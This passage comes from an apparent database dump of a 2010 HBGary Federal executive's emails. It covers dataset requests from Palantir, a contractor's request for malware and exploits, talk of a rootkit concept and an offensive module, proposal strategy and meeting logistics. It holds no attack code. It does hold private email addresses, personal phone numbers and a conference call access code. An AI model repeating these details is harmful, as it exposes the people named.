Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, February 26, 2010 9:00 AMTo:&nbsp;Etue, DavidSubject:&nbsp;Fwd: Datasets&nbsp;Dave,&nbsp;Can you help with the below request at all? &nbsp;This is just not the type of data HBGary focuses on. &nbsp;Actually I meant to talk to you about this type of thing. &nbsp;We are looking to develop some good models of attacks, a good amount of this type of traffic would be helpful, but not sure if you guys store such traffic either. &nbsp;I\'ll make the introduction to Palantir.&nbsp;Aaron&nbsp;Begin forwarded message:From:&nbsp;Aaron Zollman &lt;azollman@palantirtech.com&gt;Date:&nbsp;February 19, 2010 12:41:40 PM ESTTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Cc:&nbsp;Matthew Steckman &lt;msteckman@palantirtech.com&gt;Subject: RE: DatasetsHello Aaron B!&nbsp;I met Greg and (I think) Rich and Shaun in Sacramento on Tuesday to help introduce them to the platform; it was great to learn more about how you track and respond to coordinated attacks.&nbsp;Right now, I’m trying to model a fast-flux coordinated botnet in Palantir and show how someone with access to a good amount of passive DNS or proxy traffic can build a visual picture of the nodes involved in coordination, and how control and activity transfer over time.&nbsp;Rather than try and mock up a dataset from scratch, do you guys have some historical logs to share, say from a few days of Storm, that might make for a more believable or accurate model?&nbsp;Thanks –&nbsp; Aaron Z.&nbsp;&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantirtech.com&nbsp;| 202-684-8066&nbsp;From:&nbsp;Matthew Steckman&nbsp;Sent:&nbsp;Friday, February 19, 2010 6:31 AMTo:&nbsp;Aaron BarrCc:&nbsp;Aaron ZollmanSubject:&nbsp;Datasets&nbsp;Aaron,&nbsp;Id like to introduce you to one of our cyber technical SMEs, Aaron Zollman.&nbsp; Do you think you could work with him to get us some mock datasets to play around with in Palantir?&nbsp;Ill let him pick up the thread from here, you should see an email from him with a description of what we’re looking for sometime today.&nbsp;Thanks,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1577,'aaron_hbgary_com/1577.html'),(3150,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001475.M822679P3547Q3150.eml','\"Bob Slapnik\" <bob@hbgary.com>','ONR CND RFP','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5349,'aaron_hbgary_com/5349.html'),(3151,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001476.M380440P3547Q3152.eml','\"Bob Slapnik\" <bob@hbgary.com>','link for software','Just a reminder for eval link.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5842,'aaron_hbgary_com/5842.html'),(3152,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001476.M66198P3547Q3151.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Things we need','you still on a call?You\'ll have links to download responder today. &nbsp;working on rest.AaronOn Feb 26, 2010, at 9:39 AM, Masterson, Brian (Xetron) wrote:\r\n\r\nAaron,Here are what we have going on:Malware integration:1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Need you to get with our contracts manager Mike Rushing to get the PIEA changes made2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Need the malware and exploit sent to usCyber Threat1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A copy of the results of the Aurora analysis that was done out in Sacramento two weeks ago2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A description of the process used for the Aurora analysis3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; At least one copy of HBGary tools4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Assistance with interfacing to HBGary tools to extract data items5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary malware database6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary malware repository\r\n\r\nDARPA Proposal1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TBDNear-term work1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Memory object from recon2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; License requirements for Greg’s new concept\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9117,'aaron_hbgary_com/9117.html'),(3153,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001476.M665450P3547Q3153.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Things we need','ok talked with Mike. &nbsp;He will catch you at a meeting your both attending today, and get me out the changes. &nbsp;We should then be able to put the CD in fedex early next week.Links to download responder are coming shortly. &nbsp;Working on the rest...AaronOn Feb 26, 2010, at 9:39 AM, Masterson, Brian (Xetron) wrote:\r\n\r\nAaron,Here are what we have going on:Malware integration:1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Need you to get with our contracts manager Mike Rushing to get the PIEA changes made2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Need the malware and exploit sent to usCyber Threat1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A copy of the results of the Aurora analysis that was done out in Sacramento two weeks ago2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A description of the process used for the Aurora analysis3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; At least one copy of HBGary tools4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Assistance with interfacing to HBGary tools to extract data items5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary malware database6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary malware repository\r\n\r\nDARPA Proposal1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TBDNear-term work1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Memory object from recon2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; License requirements for Greg’s new concept\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8511,'aaron_hbgary_com/8511.html'),(3154,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001476.M867635P3547Q3154.eml','charles@hbgary.com,charles@hbgary.com','Responder Licences','Hi Charles,\r\n\r\nI just installed Responder Pro and would like to get a perpetual license if I could.\r\n\r\nMAchine ID: 1A32D9BD\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16353,'aaron_hbgary_com/16353.html'),(3155,'2010-02-26','\"Clair, Chris (TASC Inc)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297001477.M135190P3547Q3155.eml','aaron@hbgary.com','Contact Info','\r\n\r\n\r\n\r\n\r\nContact Info\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nCan you forward me your contact information?&nbsp; Is there a possibility to chat around 3:00 today to set up some time for next week?\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',8470,'aaron_hbgary_com/8470.html'),(3156,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001477.M403053P3547Q3156.eml','\"Clair, Chris (TASC Inc)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Contact Info','Sure. &nbsp;I have a telecon scheduled for 3pm. &nbsp;Is there another time you have available?Aaron BarrCEOHBGary Federal Inc.Ph: 719.510.8478On Feb 26, 2010, at 11:09 AM, Clair, Chris (TASC Inc) wrote:\r\n\r\nHi Aaron,Can you forward me your contact information?&nbsp; Is there a possibility to chat around 3:00 today to set up some time for next week?Thanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n',9108,'aaron_hbgary_com/9108.html'),(3157,'2010-02-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001477.M585813P3547Q3157.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: link for software','Here is how to download the Responder + Digital DNA evaluation software.\r\n\r\n- Go to www.hbgary.com.\r\n- Click on Register (upper right corner) to create an account (fill in the\r\nform)\r\n- Send an email to bob@hbgary.com and support@hbgary.com to request the eval\r\nsoftware.  One of us will manually enable your account and send you an email\r\nthat you can proceed with the download.\r\n- Click on PORTAL\r\n- On the portal page click on My Downloads\r\n- Download the software, install it and run it.\r\n- Send the Machine ID to bob@hbgary.com and support@hbgary.com, then we will\r\nsend you a 14-day eval key.\r\n\r\nCharles in support can give them a longer time than 14 days if you tell him\r\nto.  The eval s/w is identical to the shipping s/w but it lacks the ability\r\nto print or save a project.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 11:00 AM\r\nTo: Bob Slapnik\r\nSubject: link for software\r\n\r\nJust a reminder for eval link.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/26/10\r\n02:34:00\r\n\r\n',4292,'aaron_hbgary_com/4292.html'),(3158,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001477.M787586P3547Q3158.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: link for software','hmmmm.... for the purposes of the threat intelligence center irad I think they may need to save projects...what then?\r\n\r\n\r\nOn Feb 26, 2010, at 11:29 AM, Bob Slapnik wrote:\r\n\r\n> Charles in support can give them a longer time than 14 days if you tell him\r\n> to.  The eval s/w is identical to the shipping s/w but it lacks the ability\r\n> to print or save a project.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13916,'aaron_hbgary_com/13916.html'),(3159,'2010-02-26','\"Clair, Chris (TASC Inc)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297001477.M964636P3547Q3159.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Contact Info','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nWe could touch base after that.&nbsp; How long do you think the\r\ntelcon will last?&nbsp; We could do it latest at 4:00.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 11:28 AM\r\nTo: Clair, Chris (TASC Inc)\r\nSubject: Re: Contact Info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSure. &nbsp;I have a telecon scheduled for 3pm. &nbsp;Is\r\nthere another time you have available?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\nPh: 719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 26, 2010, at 11:09 AM, Clair, Chris (TASC Inc) wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nCan you forward me your\r\ncontact information?&nbsp; Is there a possibility\r\nto chat around 3:00 today to set up some time for next week?\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; |Chris Clair | Program Manager\r\n|\r\n703.449.3964\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7872,'aaron_hbgary_com/7872.html'),(3160,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001478.M144030P3547Q3160.eml','\"Clair, Chris (TASC Inc)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Contact Info','I should be off by 3:30pm.AaronOn Feb 26, 2010, at 11:33 AM, Clair, Chris (TASC Inc) wrote:Hi Aaron,&nbsp;We could touch base after that.&nbsp; How long do you think the telcon will last?&nbsp; We could do it latest at 4:00.&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, February 26, 2010 11:28 AMTo:&nbsp;Clair, Chris (TASC Inc)Subject:&nbsp;Re: Contact Info&nbsp;Sure. &nbsp;I have a telecon scheduled for 3pm. &nbsp;Is there another time you have available?&nbsp;Aaron BarrCEOHBGary Federal Inc.Ph: 719.510.8478&nbsp;&nbsp;On Feb 26, 2010, at 11:09 AM, Clair, Chris (TASC Inc) wrote:&nbsp;Hi Aaron,Can you forward me your contact information?&nbsp; Is there a&nbsp;possibility to chat around 3:00 today to set up some time for next week?Thanks,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Chris__________________________________________________&nbsp;&nbsp;|Chris Clair&nbsp;|&nbsp;Program Manager&nbsp;|&nbsp;703.449.3964&nbsp;&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11393,'aaron_hbgary_com/11393.html'),(3161,'2010-02-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001478.M353416P3547Q3161.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: ONR CND RFP','Aaron,\r\n\r\nMy read on this is that they want a network-based solution.  Not surprising\r\nsince 95+% of security expenditures are for network defense.  I liked that\r\nthey want to leverage existing commercial software.  We definitely have a\r\nstory to tell here when we include our partners like Fidelis.  In fact, we\r\nmight ask Fidelis to partner with us and ask them to help write the white\r\npaper.  \r\n\r\nOur story will be good enough to make the down select.  I recommend that we\r\nfully focus on the DARPA proposal.  Then when we are nearing completion we\r\nreuse pieces of it to quickly cobble together a story for ONR.  It doesn\'t\r\nhave to be a great story to make the down select.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 10:48 AM\r\nTo: Bob Slapnik\r\nSubject: ONR CND RFP\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/26/10\r\n02:34:00\r\n\r\n',13524,'aaron_hbgary_com/13524.html'),(3162,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001478.M538662P3547Q3162.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Questions','Hey Penny/Greg,\r\n\r\nSome questions:\r\n\r\nWhat would be the license requirements for the NGEN rootkit concept?  What would be a ball-park cost?\r\n\r\nWould there be any issues using the architecture for DDNA to develop an offensive module.  Rich mentioned this to Xetron and they think they could get us some work from that.  But it sounds a bit sensitive depending on how much it looked like DDNA.  Thoughts?\r\n\r\nCan I get Xetron access to the feedprocessor/malware database for the purposes of our Threat Intelligence IRAD.\r\n\r\nDo you have any additional palantir or other analysis on your aurora investigation?  Was there anything of specific note in the process u used for your investigation.  Anything unique about the process?\r\n\r\nWorking on the technical approaches for technical area 1 and 3 for the DARPA BAA.  I\'ll be interested to get your comments.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9944,'aaron_hbgary_com/9944.html'),(3163,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001478.M759064P3547Q3163.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: ONR CND RFP','agreed.\r\n\r\nOn Feb 26, 2010, at 11:38 AM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> My read on this is that they want a network-based solution.  Not surprising\r\n> since 95+% of security expenditures are for network defense.  I liked that\r\n> they want to leverage existing commercial software.  We definitely have a\r\n> story to tell here when we include our partners like Fidelis.  In fact, we\r\n> might ask Fidelis to partner with us and ask them to help write the white\r\n> paper.  \r\n> \r\n> Our story will be good enough to make the down select.  I recommend that we\r\n> fully focus on the DARPA proposal.  Then when we are nearing completion we\r\n> reuse pieces of it to quickly cobble together a story for ONR.  It doesn\'t\r\n> have to be a great story to make the down select.\r\n> \r\n> Bob \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, February 26, 2010 10:48 AM\r\n> To: Bob Slapnik\r\n> Subject: ONR CND RFP\r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/26/10\r\n> 02:34:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15463,'aaron_hbgary_com/15463.html'),(3164,'2010-02-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001479.M115200P3547Q3164.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: link for software','All steps remain the same.  Just ask Charles to enable their account for the\r\nproduction software.  \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 11:32 AM\r\nTo: Bob Slapnik\r\nSubject: Re: link for software\r\n\r\nhmmmm.... for the purposes of the threat intelligence center irad I think\r\nthey may need to save projects...what then?\r\n\r\n\r\nOn Feb 26, 2010, at 11:29 AM, Bob Slapnik wrote:\r\n\r\n> Charles in support can give them a longer time than 14 days if you tell\r\nhim\r\n> to.  The eval s/w is identical to the shipping s/w but it lacks the\r\nability\r\n> to print or save a project.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/26/10\r\n02:34:00\r\n\r\n',6220,'aaron_hbgary_com/6220.html'),(3165,'2010-02-26','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297001479.M345808P3547Q3165.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Telecon with Secure Decisions and HB Gary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nKen Prole and Brianne O&#8217;Brien who will be joining us on the call\r\ncan do either 1:30 to 2:00 or 4:30 to 5:00. Which is best for you? Whichever\r\nyou choose, I&#8217;ll call you 10 minutes ahead so we can discuss the business part.\r\n\r\n&nbsp;\r\n\r\nConf Call # 218-486-1600 Access code: 609839\r\n\r\n&nbsp;\r\n\r\nAnita\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 9:15 AM\r\nTo: Anita D\'Amico\r\nSubject: Re: Team with HBGary?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI am available at 2-3pm. &nbsp;I would like to have a little\r\nbit of a technical approach discussion.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 25, 2010, at 4:53 PM, Anita D\'Amico wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s finalize teaming. Are you available on Friday, Feb 19 at\r\n10 AM or 2 PM?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you want to have a business discussion only at that time, or\r\nalso discuss technical approaches and proposal? If the former, it will be just\r\nme. If the latter, I&#8217;ll have a sr engineer join the discussion.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnita\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnita D\'Amico, Ph.D.\r\n\r\n\r\n\r\n\r\n\r\nApplied Visions, Inc. (AVI)\r\n\r\n\r\n\r\n\r\n\r\nDirector, Secure Decisions Division\r\n\r\n\r\n\r\n\r\n\r\n6 Bayview Avenue, Northport, NY 11768-1502\r\n\r\n\r\n\r\n\r\n\r\nhttp://SecureDecisions.avi.com\r\n\r\n\r\n\r\n\r\n\r\n(631) 754-4920 ext. 147\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11272,'aaron_hbgary_com/11272.html'),(3166,'2010-02-26','\"Pisani, Albert A.\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297001479.M563122P3547Q3166.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Heider, Raymond A (IS)\" <raymond.heider@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Thought','Aaron:\r\nGood thought - let me run this by Ray and John Lovegrove.\r\n\r\nLook forward to working with you.\r\n\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 9:22 AM\r\nTo: Pisani, Albert A.\r\nCc: Ted Vera\r\nSubject: Thought\r\n\r\nAl,\r\n\r\nI met with Bob Frisbie the other day to catch up.  He is looking to\r\nexpand a capability in IO related to the COIN re-compete but more for\r\nDoD.  He told me he has a few acquisitions in the works that will\r\nincrease his capability in this area.  So just a thought that it might\r\nbe worth a phone call to see if there is any synergy and strength\r\nbetween TASC and ManTech in this area.  I think forming a team and\r\nresponse to compete against SAIC will be tough but doable.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3976,'aaron_hbgary_com/3976.html'),(3167,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001479.M740878P3547Q3167.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,','Re: Telecon with Secure Decisions and HB Gary','Great lets shoot for 2pm.AaronOn Feb 26, 2010, at 11:42 AM, Anita D\'Amico wrote:Aaron,&nbsp;Ken Prole and Brianne O’Brien who will be joining us on the call can do either 1:30 to 2:00 or 4:30 to 5:00. Which is best for you? Whichever you choose, I’ll call you 10 minutes ahead so we can discuss the business part.&nbsp;Conf Call # 218-486-1600 Access code: 609839&nbsp;Anita&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, February 26, 2010 9:15 AMTo:&nbsp;Anita D\'AmicoSubject:&nbsp;Re: Team with HBGary?&nbsp;I am available at 2-3pm. &nbsp;I would like to have a little bit of a technical approach discussion.&nbsp;Aaron&nbsp;On Feb 25, 2010, at 4:53 PM, Anita D\'Amico wrote:Aaron,&nbsp;Let’s finalize teaming. Are you available on Friday, Feb 19 at 10 AM or 2 PM?&nbsp;Do you want to have a business discussion only at that time, or also discuss technical approaches and proposal? If the former, it will be just me. If the latter, I’ll have a sr engineer join the discussion.&nbsp;Anita&nbsp;Anita D\'Amico, Ph.D.Applied Visions, Inc. (AVI)Director, Secure Decisions Division6 Bayview Avenue, Northport, NY 11768-1502http://SecureDecisions.avi.com(631) 754-4920 ext. 147&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13484,'aaron_hbgary_com/13484.html'),(3168,'2010-02-26','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297001479.M919353P3547Q3168.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Telecon with Secure Decisions and HB Gary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nKenny isn&#8217;t available at 2 PM.\r\n\r\n&nbsp;\r\n\r\nLet&#8217;s telecon at 1:30 with Kenny and Brianne. Then after Kenny\r\ngoes to his 2 PM meeting elsewhere, we can continue the discussion with\r\nBrianne, you and me including the business discussions.\r\n\r\n&nbsp;\r\n\r\nConf Call # 218-486-1600 Access code: 609839\r\n\r\n&nbsp;\r\n\r\nAnita\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 11:46 AM\r\nTo: Anita D\'Amico\r\nCc: Kenny Prole; Brianne O\'Brien\r\nSubject: Re: Telecon with Secure Decisions and HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat lets shoot for 2pm.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 26, 2010, at 11:42 AM, Anita D\'Amico wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKen Prole and Brianne O&#8217;Brien who will be joining us on the call\r\ncan do either 1:30 to 2:00 or 4:30 to 5:00. Which is best for you? Whichever\r\nyou choose, I&#8217;ll call you 10 minutes ahead so we can discuss the business part.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nConf Call # 218-486-1600 Access code: 609839\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnita\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, February 26,\r\n2010 9:15 AM\r\nTo:&nbsp;Anita D\'Amico\r\nSubject:&nbsp;Re: Team with\r\nHBGary?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am available at 2-3pm. &nbsp;I would like to have a little\r\nbit of a technical approach discussion.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 25, 2010, at 4:53 PM, Anita D\'Amico 